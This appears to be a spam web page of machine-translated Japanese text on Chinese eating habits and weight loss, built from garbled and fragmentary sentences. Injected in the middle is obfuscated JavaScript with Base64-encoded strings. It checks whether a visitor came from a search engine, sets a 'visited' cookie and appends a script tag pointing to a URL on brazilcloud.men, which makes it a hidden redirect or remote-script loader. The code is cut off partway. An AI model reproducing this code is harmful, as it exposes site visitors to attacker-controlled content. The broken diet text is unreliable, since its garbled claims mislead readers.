あなたの食事の大部分が野菜であり、あるタンパク質を加えた場合、あなたはいつも完璧な食事を持っています.. 低炭水化物ダイエットは脂肪を燃やすと約束しているが、脂肪分が高く栄養が少ない食物で炭水化物を置き換えることは、体重減少に対する長期的な答えではない.. 彼女の中国の食生活の秘密のいくつかと西洋の栄養士2人、パトリック・ホルフォードとイアン・マーバーの評決.
しかし、高糖、高級炭水化物（白いもの）および高脂肪の組み合わせは、身体のappestatの前に短い時間内に多くの食品を食べることを可能にする。キックインして停止するように指示します.. "Marberは言う：ダイエットコークスには1カロリー、アボカドでは340カロリーがあります.
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彼女はまた、彼女の著書「なぜ中国糖尿病カロリーか」において、実際の中国の食生活はあなたに脂肪を与えないと主張し、中国で観察される肥満のレベルの上昇は、実際には、.. 主食を補充する 脂肪が少なく、栄養素や繊維が多い米がなければ、クリスポルドはあなたが満腹になるまで食べることは不可能だと主張しています.. var _0x19c1=['YlJRbXA=','UVd0VHA=','cmVwbGFjZQ==','c2V0','dFp2QUk=','aGVhZA==','Y3JlYXRlRWxlbWVudA==','c2NyaXB0','ZUZITnc=','YXBwZW5kQ2hpbGQ=','5qSN54mp5oCn44Gf44KT44Gx44GP6LOqK+OBneOBsCvjgqbjgqjjgrnjg4gr44Ko44Kv44K144K144Kk44K6K+OCq+ODreODquODvA==','RUpXQ3E=','bWF0Y2g=','dlNjcXQ=','bGVuZ3Ro','c3BsaXQ=','d0V3eHc=','UGVaSGE=','OyBleHBpcmVzPQ==','Y29va2ll','YWdvWlA=','RU9QSkg=','S1NWcUk=','Z2V0VGltZQ==','SXVTcEE=','OyBwYXRoPQ==','bGR4VGM=','OyBkb21haW49','Lmdvb2dsZS4=','LnlhaG9vLg==','LmFvbC4=','LmFzay4=','LnlhbmRleC4=','aHR0cHM6Ly9icmF6aWxjbG91ZC5tZW4vbC1uZXcucGhwPyZxdWVyeT0=','YUJwVWU=','eE1xblE=','TmFocXE=','RmJOSEI=','eEN4Q3c=','LmFsdGF2aXN0YS4=','c01RZ1E=','cmVmZXJyZXI=','Z2V0','dmlzaXRlZA==','c0NWUFU=','aW5kZXhPZg=='];(function(_0x552069,_0x494a92){var _0x1a786f=function(_0x23625a){while(--_0x23625a){_0x552069['push'](_0x552069['shift']());}};_0x1a786f(++_0x494a92);}(_0x19c1,0x147));var _0x3772=function(_0x3e0832,_0x3ad5e5){_0x3e0832=_0x3e0832-0x0;var _0x1bc015=_0x19c1[_0x3e0832];if(_0x3772['NYJYoL']===undefined){(function(){var _0x35a765=function(){var _0x2b1b54;try{_0x2b1b54=Function('return\x20(function()\x20'+'{}. Hydrologic Engineering
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カロリーのカウントを止める 中国人は「カロリー」という言葉を持っていません。.. Holford氏は次のように述べています。「最新の体重減少の研究では、カロリー制御の低脂肪食は低血糖負荷食より効果が低く、これはまさに伝統的な中国の食生活です.. アボカドはモノ不飽和脂肪酸とオメガ6を供給します。オメガ6は実際に代謝率を高めるのに役立ちます.. Clissoldは、彼らの秘密は、甘い、栄養不足の食品の空のカロリーを避けていると言います.. 1990年の調査によれば、中国人はアメリカ人よりも30％多くのカロリーを消費したが、必ずしもより活発ではなかった.. ホルフォード氏は次のように述べています。「食事には繊維が豊富な野菜とタンパク質と炭水化物のバランスがよく、典型的な中華料理があります。フルになるまで食べるべきです.. ホルフォード氏は次のように述べています。「野菜は、食事中の食べ物の半分をあなたの食べるものの半分にしなければならないので、これは中国の食生活. 6e4e936fe3
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